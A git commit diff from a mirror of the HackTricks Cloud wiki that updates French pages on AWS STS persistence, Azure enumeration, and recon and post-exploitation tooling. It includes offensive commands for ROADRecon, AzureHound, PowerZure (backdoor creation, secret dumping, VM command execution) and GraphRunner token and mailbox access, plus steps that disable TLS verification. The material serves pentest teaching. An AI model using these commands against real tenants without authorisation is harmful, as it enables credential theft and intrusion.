mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-23 07:29:04 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p
This commit is contained in:
@@ -18,8 +18,8 @@ Les jetons temporaires ne peuvent pas être listés, donc maintenir un jeton tem
|
|||||||
|
|
||||||
# Avec MFA
|
# Avec MFA
|
||||||
aws sts get-session-token \
|
aws sts get-session-token \
|
||||||
--serial-number <mfa-device-name> \
|
--serial-number <mfa-device-name> \
|
||||||
--token-code <code-from-token>
|
--token-code <code-from-token>
|
||||||
|
|
||||||
# Le nom de l'appareil matériel est généralement le numéro au dos de l'appareil, tel que GAHT12345678
|
# Le nom de l'appareil matériel est généralement le numéro au dos de l'appareil, tel que GAHT12345678
|
||||||
<strong># Le nom de l'appareil SMS est l'ARN dans AWS, tel que arn:aws:iam::123456789012:sms-mfa/username
|
<strong># Le nom de l'appareil SMS est l'ARN dans AWS, tel que arn:aws:iam::123456789012:sms-mfa/username
|
||||||
@@ -40,12 +40,12 @@ optional arguments:
|
|||||||
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
|
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
|
||||||
```
|
```
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> Notez que le script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) de ce dépôt Github ne trouve pas toutes les manières dont une chaîne de rôle peut être configurée.
|
> Notez que le script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) de ce dépôt Github ne trouve pas toutes les manières dont une chaîne de rôles peut être configurée.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Code pour effectuer le Role Juggling depuis PowerShell</summary>
|
<summary>Code pour effectuer le Role Juggling depuis PowerShell</summary>
|
||||||
```powershell
|
```bash
|
||||||
# PowerShell script to check for role juggling possibilities using AWS CLI
|
# PowerShell script to check for role juggling possibilities using AWS CLI
|
||||||
|
|
||||||
# Check for AWS CLI installation
|
# Check for AWS CLI installation
|
||||||
|
|||||||
@@ -27,10 +27,10 @@ Du point de vue d'une Red Team, la **première étape pour compromettre un envir
|
|||||||
- **`az logout`** supprime le jeton.
|
- **`az logout`** supprime le jeton.
|
||||||
- Les anciennes versions de **`Az PowerShell`** stockaient les **jetons d'accès** en **texte clair** dans **`TokenCache.dat`**. Il stocke également le **ServicePrincipalSecret** en **texte clair** dans **`AzureRmContext.json`**. La cmdlet **`Save-AzContext`** peut être utilisée pour **stocker** les **jetons**.\
|
- Les anciennes versions de **`Az PowerShell`** stockaient les **jetons d'accès** en **texte clair** dans **`TokenCache.dat`**. Il stocke également le **ServicePrincipalSecret** en **texte clair** dans **`AzureRmContext.json`**. La cmdlet **`Save-AzContext`** peut être utilisée pour **stocker** les **jetons**.\
|
||||||
Utilisez `Disconnect-AzAccount` pour les supprimer.
|
Utilisez `Disconnect-AzAccount` pour les supprimer.
|
||||||
- Tiers **compromis**
|
- Tiers **violés**
|
||||||
- Employé **interne**
|
- **Employé** interne
|
||||||
- [**Phishing Commun**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (identifiants ou application Oauth)
|
- [**Phishing Commun**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (identifiants ou application Oauth)
|
||||||
- [Phishing par Code de Dispositif](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
|
- [Phishing par Authentification par Code de Dispositif](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
|
||||||
- [**Password Spraying** Azure](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
|
- [**Password Spraying** Azure](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
|
||||||
|
|
||||||
Même si vous **n'avez compromis aucun utilisateur** à l'intérieur du locataire Azure que vous attaquez, vous pouvez **rassembler des informations** à partir de celui-ci :
|
Même si vous **n'avez compromis aucun utilisateur** à l'intérieur du locataire Azure que vous attaquez, vous pouvez **rassembler des informations** à partir de celui-ci :
|
||||||
@@ -92,7 +92,7 @@ az account management-group list #Not allowed by default
|
|||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
|
|
||||||
{{#tab name="AzureAD" }}
|
{{#tab name="AzureAD" }}
|
||||||
```powershell
|
```bash
|
||||||
#Get the current session state
|
#Get the current session state
|
||||||
Get-AzureADCurrentSessionInfo
|
Get-AzureADCurrentSessionInfo
|
||||||
#Get details of the current tenant
|
#Get details of the current tenant
|
||||||
@@ -101,7 +101,7 @@ Get-AzureADTenantDetail
|
|||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
|
|
||||||
{{#tab name="Az PowerShell" }}
|
{{#tab name="Az PowerShell" }}
|
||||||
```powershell
|
```bash
|
||||||
# Get the information about the current context (Account, Tenant, Subscription etc.)
|
# Get the information about the current context (Account, Tenant, Subscription etc.)
|
||||||
Get-AzContext
|
Get-AzContext
|
||||||
# List all available contexts
|
# List all available contexts
|
||||||
@@ -120,11 +120,11 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
|
|||||||
{{#endtabs }}
|
{{#endtabs }}
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> L'une des commandes les plus importantes pour énumérer Azure est **`Get-AzResource`** depuis Az PowerShell car elle vous permet de **savoir quels sont les ressources que votre utilisateur actuel peut voir**.
|
> L'une des commandes les plus importantes pour énumérer Azure est **`Get-AzResource`** depuis Az PowerShell car elle vous permet de **savoir quels ressources votre utilisateur actuel peut voir**.
|
||||||
>
|
>
|
||||||
> Vous pouvez obtenir les mêmes informations dans la **console web** en allant sur [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) ou en recherchant "Toutes les ressources"
|
> Vous pouvez obtenir les mêmes informations dans la **console web** en allant sur [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) ou en recherchant "Toutes les ressources"
|
||||||
|
|
||||||
### Énumération de l'ID Entra
|
### Énumération d'Entra ID
|
||||||
|
|
||||||
Par défaut, tout utilisateur devrait avoir **suffisamment de permissions pour énumérer** des éléments tels que, utilisateurs, groupes, rôles, services principaux... (vérifiez [les permissions par défaut d'AzureAD](az-basic-information/index.html#default-user-permissions)).\
|
Par défaut, tout utilisateur devrait avoir **suffisamment de permissions pour énumérer** des éléments tels que, utilisateurs, groupes, rôles, services principaux... (vérifiez [les permissions par défaut d'AzureAD](az-basic-information/index.html#default-user-permissions)).\
|
||||||
Vous pouvez trouver ici un guide :
|
Vous pouvez trouver ici un guide :
|
||||||
@@ -147,228 +147,6 @@ Utilisez portal.azure.com et sélectionnez le shell, ou utilisez shell.azure.com
|
|||||||
|
|
||||||
## Azure DevOps
|
## Azure DevOps
|
||||||
|
|
||||||
Azure DevOps est séparé d'Azure. Il a des dépôts, des pipelines (yaml ou release), des tableaux, un wiki, et plus encore. Les groupes de variables sont utilisés pour stocker des valeurs de variables et des secrets.
|
Azure DevOps est séparé d'Azure. Il a des dépôts, des pipelines (yaml ou release), des tableaux, un wiki, et plus encore. Les Groupes de Variables sont utilisés pour stocker des valeurs de variables et des secrets.
|
||||||
|
|
||||||
## Debug | MitM az cli
|
|
||||||
|
|
||||||
En utilisant le paramètre **`--debug`**, il est possible de voir toutes les requêtes que l'outil **`az`** envoie :
|
|
||||||
```bash
|
|
||||||
az account management-group list --output table --debug
|
|
||||||
```
|
|
||||||
Pour effectuer un **MitM** sur l'outil et **vérifier toutes les requêtes** qu'il envoie manuellement, vous pouvez faire :
|
|
||||||
|
|
||||||
{{#tabs }}
|
|
||||||
{{#tab name="Bash" }}
|
|
||||||
```bash
|
|
||||||
export ADAL_PYTHON_SSL_NO_VERIFY=1
|
|
||||||
export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
|
|
||||||
export HTTPS_PROXY="http://127.0.0.1:8080"
|
|
||||||
export HTTP_PROXY="http://127.0.0.1:8080"
|
|
||||||
|
|
||||||
# If this is not enough
|
|
||||||
# Download the certificate from Burp and convert it into .pem format
|
|
||||||
# And export the following env variable
|
|
||||||
openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
|
|
||||||
export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
|
|
||||||
```
|
|
||||||
{{#endtab }}
|
|
||||||
|
|
||||||
{{#tab name="PS" }}
|
|
||||||
```bash
|
|
||||||
$env:ADAL_PYTHON_SSL_NO_VERIFY=1
|
|
||||||
$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
|
|
||||||
$env:HTTPS_PROXY="http://127.0.0.1:8080"
|
|
||||||
$env:HTTP_PROXY="http://127.0.0.1:8080"
|
|
||||||
```
|
|
||||||
{{#endtab }}
|
|
||||||
{{#endtabs }}
|
|
||||||
|
|
||||||
## Outils de Reconnaissance Automatisés
|
|
||||||
|
|
||||||
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
|
|
||||||
```powershell
|
|
||||||
cd ROADTools
|
|
||||||
pipenv shell
|
|
||||||
roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
|
|
||||||
roadrecon gather
|
|
||||||
roadrecon gui
|
|
||||||
```
|
|
||||||
### [Monkey365](https://github.com/silverhack/monkey365)
|
|
||||||
```powershell
|
|
||||||
Import-Module monkey365
|
|
||||||
Get-Help Invoke-Monkey365
|
|
||||||
Get-Help Invoke-Monkey365 -Detailed
|
|
||||||
Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue
|
|
||||||
Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML
|
|
||||||
```
|
|
||||||
### [**Stormspotter**](https://github.com/Azure/Stormspotter)
|
|
||||||
```powershell
|
|
||||||
# Start Backend
|
|
||||||
cd stormspotter\backend\
|
|
||||||
pipenv shell
|
|
||||||
python ssbackend.pyz
|
|
||||||
|
|
||||||
# Start Front-end
|
|
||||||
cd stormspotter\frontend\dist\spa\
|
|
||||||
quasar.cmd serve -p 9091 --history
|
|
||||||
|
|
||||||
# Run Stormcollector
|
|
||||||
cd stormspotter\stormcollector\
|
|
||||||
pipenv shell
|
|
||||||
az login -u test@corp.onmicrosoft.com -p Welcome2022!
|
|
||||||
python stormspotter\stormcollector\sscollector.pyz cli
|
|
||||||
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
|
|
||||||
```
|
|
||||||
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
|
|
||||||
```powershell
|
|
||||||
# You need to use the Az PowerShell and Azure AD modules:
|
|
||||||
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
|
|
||||||
$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd)
|
|
||||||
Connect-AzAccount -Credential $creds
|
|
||||||
|
|
||||||
Import-Module AzureAD\AzureAD.psd1
|
|
||||||
Connect-AzureAD -Credential $creds
|
|
||||||
|
|
||||||
# Launch AzureHound
|
|
||||||
. AzureHound\AzureHound.ps1
|
|
||||||
Invoke-AzureHound -Verbose
|
|
||||||
|
|
||||||
# Simple queries
|
|
||||||
## All Azure Users
|
|
||||||
MATCH (n:AZUser) return n.name
|
|
||||||
## All Azure Applications
|
|
||||||
MATCH (n:AZApp) return n.objectid
|
|
||||||
## All Azure Devices
|
|
||||||
MATCH (n:AZDevice) return n.name
|
|
||||||
## All Azure Groups
|
|
||||||
MATCH (n:AZGroup) return n.name
|
|
||||||
## All Azure Key Vaults
|
|
||||||
MATCH (n:AZKeyVault) return n.name
|
|
||||||
## All Azure Resource Groups
|
|
||||||
MATCH (n:AZResourceGroup) return n.name
|
|
||||||
## All Azure Service Principals
|
|
||||||
MATCH (n:AZServicePrincipal) return n.objectid
|
|
||||||
## All Azure Virtual Machines
|
|
||||||
MATCH (n:AZVM) return n.name
|
|
||||||
## All Principals with the ‘Contributor’ role
|
|
||||||
MATCH p = (n)-[r:AZContributor]->(g) RETURN p
|
|
||||||
|
|
||||||
# Advanced queries
|
|
||||||
## Get Global Admins
|
|
||||||
MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p
|
|
||||||
## Owners of Azure Groups
|
|
||||||
MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p
|
|
||||||
## All Azure Users and their Groups
|
|
||||||
MATCH p=(m:AZUser)-[r:MemberOf]->(n) WHERE NOT m.objectid CONTAINS 'S-1-5' RETURN p
|
|
||||||
## Privileged Service Principals
|
|
||||||
MATCH p = (g:AZServicePrincipal)-[r]->(n) RETURN p
|
|
||||||
## Owners of Azure Applications
|
|
||||||
MATCH p = (n)-[r:AZOwns]->(g:AZApp) RETURN p
|
|
||||||
## Paths to VMs
|
|
||||||
MATCH p = (n)-[r]->(g: AZVM) RETURN p
|
|
||||||
## Paths to KeyVault
|
|
||||||
MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p
|
|
||||||
## Paths to Azure Resource Group
|
|
||||||
MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p
|
|
||||||
## On-Prem users with edges to Azure
|
|
||||||
MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContributor|AZAddMembers|AZGlobalAdmin|AZVMContributor|AZOwnsAZAvereContributor]->(n) WHERE m.objectid CONTAINS 'S-1-5-21' RETURN p
|
|
||||||
## All Azure AD Groups that are synchronized with On-Premise AD
|
|
||||||
MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n
|
|
||||||
```
|
|
||||||
### [Azucar](https://github.com/nccgroup/azucar)
|
|
||||||
```bash
|
|
||||||
# You should use an account with at least read-permission on the assets you want to access
|
|
||||||
git clone https://github.com/nccgroup/azucar.git
|
|
||||||
PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File
|
|
||||||
|
|
||||||
PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT
|
|
||||||
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
|
|
||||||
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
|
|
||||||
|
|
||||||
# resolve the TenantID for an specific username
|
|
||||||
PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
|
|
||||||
```
|
|
||||||
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
|
|
||||||
```
|
|
||||||
Import-Module .\MicroBurst.psm1
|
|
||||||
Import-Module .\Get-AzureDomainInfo.ps1
|
|
||||||
Get-AzureDomainInfo -folder MicroBurst -Verbose
|
|
||||||
```
|
|
||||||
### [**PowerZure**](https://github.com/hausec/PowerZure)
|
|
||||||
```powershell
|
|
||||||
Connect-AzAccount
|
|
||||||
ipmo C:\Path\To\Powerzure.psd1
|
|
||||||
Get-AzureTarget
|
|
||||||
|
|
||||||
# Reader
|
|
||||||
$ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails
|
|
||||||
|
|
||||||
# Contributor
|
|
||||||
$ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami"
|
|
||||||
$ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File "build.xml"
|
|
||||||
$ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents
|
|
||||||
$ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk
|
|
||||||
|
|
||||||
# Owner
|
|
||||||
$ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest
|
|
||||||
|
|
||||||
# Administrator
|
|
||||||
$ Create-Backdoor, Execute-Backdoor
|
|
||||||
```
|
|
||||||
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
|
|
||||||
```powershell
|
|
||||||
|
|
||||||
#Get-GraphTokens
|
|
||||||
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
|
|
||||||
Import-Module .\GraphRunner.ps1
|
|
||||||
Get-GraphTokens
|
|
||||||
|
|
||||||
#Invoke-GraphRecon
|
|
||||||
#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
|
|
||||||
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
|
|
||||||
|
|
||||||
#Invoke-DumpCAPS
|
|
||||||
#A module to dump conditional access policies from a tenant.
|
|
||||||
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
|
|
||||||
|
|
||||||
#Invoke-DumpCAPS
|
|
||||||
#A module to dump conditional access policies from a tenant.
|
|
||||||
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
|
|
||||||
|
|
||||||
#Invoke-DumpApps
|
|
||||||
#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
|
|
||||||
Invoke-DumpApps -Tokens $tokens
|
|
||||||
|
|
||||||
#Get-AzureADUsers
|
|
||||||
#Gather the full list of users from the directory.
|
|
||||||
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
|
|
||||||
|
|
||||||
#Get-SecurityGroups
|
|
||||||
#Create a list of security groups along with their members.
|
|
||||||
Get-SecurityGroups -AccessToken $tokens.access_token
|
|
||||||
|
|
||||||
G#et-UpdatableGroups
|
|
||||||
#Gets groups that may be able to be modified by the current user
|
|
||||||
Get-UpdatableGroups -Tokens $tokens
|
|
||||||
|
|
||||||
#Get-DynamicGroups
|
|
||||||
#Finds dynamic groups and displays membership rules
|
|
||||||
Get-DynamicGroups -Tokens $tokens
|
|
||||||
|
|
||||||
#Get-SharePointSiteURLs
|
|
||||||
#Gets a list of SharePoint site URLs visible to the current user
|
|
||||||
Get-SharePointSiteURLs -Tokens $tokens
|
|
||||||
|
|
||||||
#Invoke-GraphOpenInboxFinder
|
|
||||||
#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
|
|
||||||
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
|
|
||||||
|
|
||||||
#Get-TenantID
|
|
||||||
#This module attempts to gather a tenant ID associated with a domain.
|
|
||||||
Get-TenantID -Domain
|
|
||||||
|
|
||||||
#Invoke-GraphRunner
|
|
||||||
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
|
|
||||||
Invoke-GraphRunner -Tokens $tokens
|
|
||||||
```
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@@ -26,7 +26,7 @@ curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
|
|||||||
```
|
```
|
||||||
## Installer PowerShell sur MacOS
|
## Installer PowerShell sur MacOS
|
||||||
|
|
||||||
Instructions de la [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4):
|
Instructions de la [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4) :
|
||||||
|
|
||||||
1. Installez `brew` si ce n'est pas déjà fait :
|
1. Installez `brew` si ce n'est pas déjà fait :
|
||||||
```bash
|
```bash
|
||||||
@@ -49,11 +49,11 @@ brew upgrade powershell
|
|||||||
|
|
||||||
### az cli
|
### az cli
|
||||||
|
|
||||||
[**Interface de ligne de commande Azure (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) est un outil multiplateforme écrit en Python pour gérer et administrer (la plupart des) ressources Azure et Entra ID. Il se connecte à Azure et exécute des commandes administratives via la ligne de commande ou des scripts.
|
[**Interface de Ligne de Commande Azure (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) est un outil multiplateforme écrit en Python pour gérer et administrer (la plupart des) ressources Azure et Entra ID. Il se connecte à Azure et exécute des commandes administratives via la ligne de commande ou des scripts.
|
||||||
|
|
||||||
Suivez ce lien pour les [**instructions d'installation¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install).
|
Suivez ce lien pour les [**instructions d'installation¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install).
|
||||||
|
|
||||||
Les commandes dans Azure CLI sont structurées selon un modèle de : `az <service> <action> <parameters>`
|
Les commandes dans Azure CLI sont structurées en utilisant un modèle de : `az <service> <action> <parameters>`
|
||||||
|
|
||||||
#### Déboguer | MitM az cli
|
#### Déboguer | MitM az cli
|
||||||
|
|
||||||
@@ -128,4 +128,243 @@ Le module Azure Active Directory (AD), maintenant **déprécié**, fait partie d
|
|||||||
|
|
||||||
Suivez ce lien pour les [**instructions d'installation**](https://www.powershellgallery.com/packages/AzureAD).
|
Suivez ce lien pour les [**instructions d'installation**](https://www.powershellgallery.com/packages/AzureAD).
|
||||||
|
|
||||||
|
## Outils de Reconnaissance Automatisée & de Conformité
|
||||||
|
|
||||||
|
### [turbot azure plugins](https://github.com/orgs/turbot/repositories?q=mod-azure)
|
||||||
|
|
||||||
|
Turbot avec steampipe et powerpipe permet de rassembler des informations d'Azure et d'Entra ID et d'effectuer des vérifications de conformité et de trouver des erreurs de configuration. Les modules Azure actuellement les plus recommandés à exécuter sont :
|
||||||
|
|
||||||
|
- [https://github.com/turbot/steampipe-mod-azure-compliance](https://github.com/turbot/steampipe-mod-azure-compliance)
|
||||||
|
- [https://github.com/turbot/steampipe-mod-azure-insights](https://github.com/turbot/steampipe-mod-azure-insights)
|
||||||
|
- [https://github.com/turbot/steampipe-mod-azuread-insights](https://github.com/turbot/steampipe-mod-azuread-insights)
|
||||||
|
```bash
|
||||||
|
# Install
|
||||||
|
brew install turbot/tap/powerpipe
|
||||||
|
brew install turbot/tap/steampipe
|
||||||
|
steampipe plugin install azure
|
||||||
|
steampipe plugin install azuread
|
||||||
|
|
||||||
|
# Config creds via env vars or az cli default creds will be used
|
||||||
|
export AZURE_ENVIRONMENT="AZUREPUBLICCLOUD"
|
||||||
|
export AZURE_TENANT_ID="<tenant-id>"
|
||||||
|
export AZURE_SUBSCRIPTION_ID="<subscription-id>"
|
||||||
|
export AZURE_CLIENT_ID="<client-id>"
|
||||||
|
export AZURE_CLIENT_SECRET="<secret>"
|
||||||
|
|
||||||
|
# Run steampipe-mod-azure-insights
|
||||||
|
cd /tmp
|
||||||
|
mkdir dashboards
|
||||||
|
cd dashboards
|
||||||
|
powerpipe mod init
|
||||||
|
powerpipe mod install github.com/turbot/steampipe-mod-azure-insights
|
||||||
|
steampipe service start
|
||||||
|
powerpipe server
|
||||||
|
# Go to http://localhost:9033 in a browser
|
||||||
|
```
|
||||||
|
### [Prowler](https://github.com/prowler-cloud/prowler)
|
||||||
|
|
||||||
|
Prowler est un outil de sécurité Open Source pour effectuer des évaluations des meilleures pratiques de sécurité, des audits, des réponses aux incidents, une surveillance continue, un durcissement et une préparation à la criminalistique pour AWS, Azure, Google Cloud et Kubernetes.
|
||||||
|
|
||||||
|
Il nous permettrait essentiellement d'exécuter des centaines de vérifications contre un environnement Azure pour trouver des erreurs de configuration de sécurité et rassembler les résultats au format json (et d'autres formats texte) ou les vérifier sur le web.
|
||||||
|
```bash
|
||||||
|
# Create a application with Reader role and set the tenant ID, client ID and secret in prowler so it access the app
|
||||||
|
|
||||||
|
# Launch web with docker-compose
|
||||||
|
export DOCKER_DEFAULT_PLATFORM=linux/amd64
|
||||||
|
curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/docker-compose.yml
|
||||||
|
curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/.env
|
||||||
|
## If using an old docker-compose version, change the "env_file" params to: env_file: ".env"
|
||||||
|
docker compose up -d
|
||||||
|
# Access the web and configure the access to run a scan from it
|
||||||
|
|
||||||
|
# Prowler cli
|
||||||
|
python3 -m pip install prowler --break-system-packages
|
||||||
|
docker run --rm toniblyx/prowler:v4-latest azure --list-checks
|
||||||
|
docker run --rm toniblyx/prowler:v4-latest azure --list-services
|
||||||
|
docker run --rm toniblyx/prowler:v4-latest azure --list-compliance
|
||||||
|
docker run --rm -e "AZURE_CLIENT_ID=<client-id>" -e "AZURE_TENANT_ID=<tenant-id>" -e "AZURE_CLIENT_SECRET=<secret>" toniblyx/prowler:v4-latest azure --sp-env-auth
|
||||||
|
## It also support other authentication types, check: prowler azure --help
|
||||||
|
```
|
||||||
|
### [Monkey365](https://github.com/silverhack/monkey365)
|
||||||
|
|
||||||
|
Il permet d'effectuer des examens de la configuration de sécurité des abonnements Azure et de Microsoft Entra ID automatiquement.
|
||||||
|
|
||||||
|
Les rapports HTML sont stockés dans le répertoire `./monkey-reports` à l'intérieur du dossier du dépôt github.
|
||||||
|
```bash
|
||||||
|
git clone https://github.com/silverhack/monkey365
|
||||||
|
Get-ChildItem -Recurse monkey365 | Unblock-File
|
||||||
|
cd monkey365
|
||||||
|
Import-Module ./monkey365
|
||||||
|
mkdir /tmp/monkey365-scan
|
||||||
|
cd /tmp/monkey365-scan
|
||||||
|
|
||||||
|
Get-Help Invoke-Monkey365
|
||||||
|
Get-Help Invoke-Monkey365 -Detailed
|
||||||
|
|
||||||
|
# Scan with user creds (browser will be run)
|
||||||
|
Invoke-Monkey365 -TenantId <tenant-id> -Instance Azure -Collect All -ExportTo HTML
|
||||||
|
|
||||||
|
# Scan with App creds
|
||||||
|
$SecureClientSecret = ConvertTo-SecureString "<secret>" -AsPlainText -Force
|
||||||
|
Invoke-Monkey365 -TenantId <tenant-id> -ClientId <client-id> -ClientSecret $SecureClientSecret -Instance Azure -Collect All -ExportTo HTML
|
||||||
|
```
|
||||||
|
### [ScoutSuite](https://github.com/nccgroup/ScoutSuite)
|
||||||
|
|
||||||
|
Scout Suite recueille des données de configuration pour une inspection manuelle et met en évidence les zones à risque. C'est un outil d'audit de sécurité multi-cloud, qui permet d'évaluer la posture de sécurité des environnements cloud.
|
||||||
|
```bash
|
||||||
|
virtualenv -p python3 venv
|
||||||
|
source venv/bin/activate
|
||||||
|
pip install scoutsuite
|
||||||
|
scout --help
|
||||||
|
|
||||||
|
# Use --cli flag to use az cli credentials
|
||||||
|
# Use --user-account to have scout prompt for user credentials
|
||||||
|
# Use --user-account-browser to launch a browser to login
|
||||||
|
# Use --service-principal to have scout prompt for app credentials
|
||||||
|
|
||||||
|
python scout.py azure --cli
|
||||||
|
```
|
||||||
|
### [Azure-MG-Sub-Governance-Reporting](https://github.com/JulianHayward/Azure-MG-Sub-Governance-Reporting)
|
||||||
|
|
||||||
|
C'est un script PowerShell qui vous aide à **visualiser toutes les ressources et permissions à l'intérieur d'un groupe de gestion et du tenant Entra ID** et à trouver des erreurs de configuration de sécurité.
|
||||||
|
|
||||||
|
Il fonctionne en utilisant le module Az PowerShell, donc toute authentification prise en charge par cet outil est prise en charge par l'outil.
|
||||||
|
```bash
|
||||||
|
import-module Az
|
||||||
|
.\AzGovVizParallel.ps1 -ManagementGroupId <management-group-id> [-SubscriptionIdWhitelist <subscription-id>]
|
||||||
|
```
|
||||||
|
## Outils automatisés de post-exploitation
|
||||||
|
|
||||||
|
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
|
||||||
|
|
||||||
|
L'énumération de ROADRecon offre des informations sur la configuration d'Entra ID, comme les utilisateurs, les groupes, les rôles, les politiques d'accès conditionnel...
|
||||||
|
```bash
|
||||||
|
cd ROADTools
|
||||||
|
pipenv shell
|
||||||
|
# Login with user creds
|
||||||
|
roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
|
||||||
|
# Login with app creds
|
||||||
|
roadrecon auth --as-app --client "<client-id>" --password "<secret>" --tenant "<tenant-id>"
|
||||||
|
roadrecon gather
|
||||||
|
roadrecon gui
|
||||||
|
```
|
||||||
|
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
|
||||||
|
```bash
|
||||||
|
# Launch AzureHound
|
||||||
|
## Login with app secret
|
||||||
|
azurehound -a "<client-id>" -s "<secret>" --tenant "<tenant-id>" list -o ./output.json
|
||||||
|
## Login with user creds
|
||||||
|
azurehound -u "<user-email>" -p "<password>" --tenant "<tenant-id>" list -o ./output.json
|
||||||
|
```
|
||||||
|
Lancez le **BloodHound** web avec **`curl -L https://ghst.ly/getbhce | docker compose -f - up`** et importez le fichier `output.json`.
|
||||||
|
|
||||||
|
Ensuite, dans l'onglet **EXPLORE**, dans la section **CYPHER**, vous pouvez voir une icône de **dossier** qui contient des requêtes pré-construites.
|
||||||
|
|
||||||
|
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
|
||||||
|
|
||||||
|
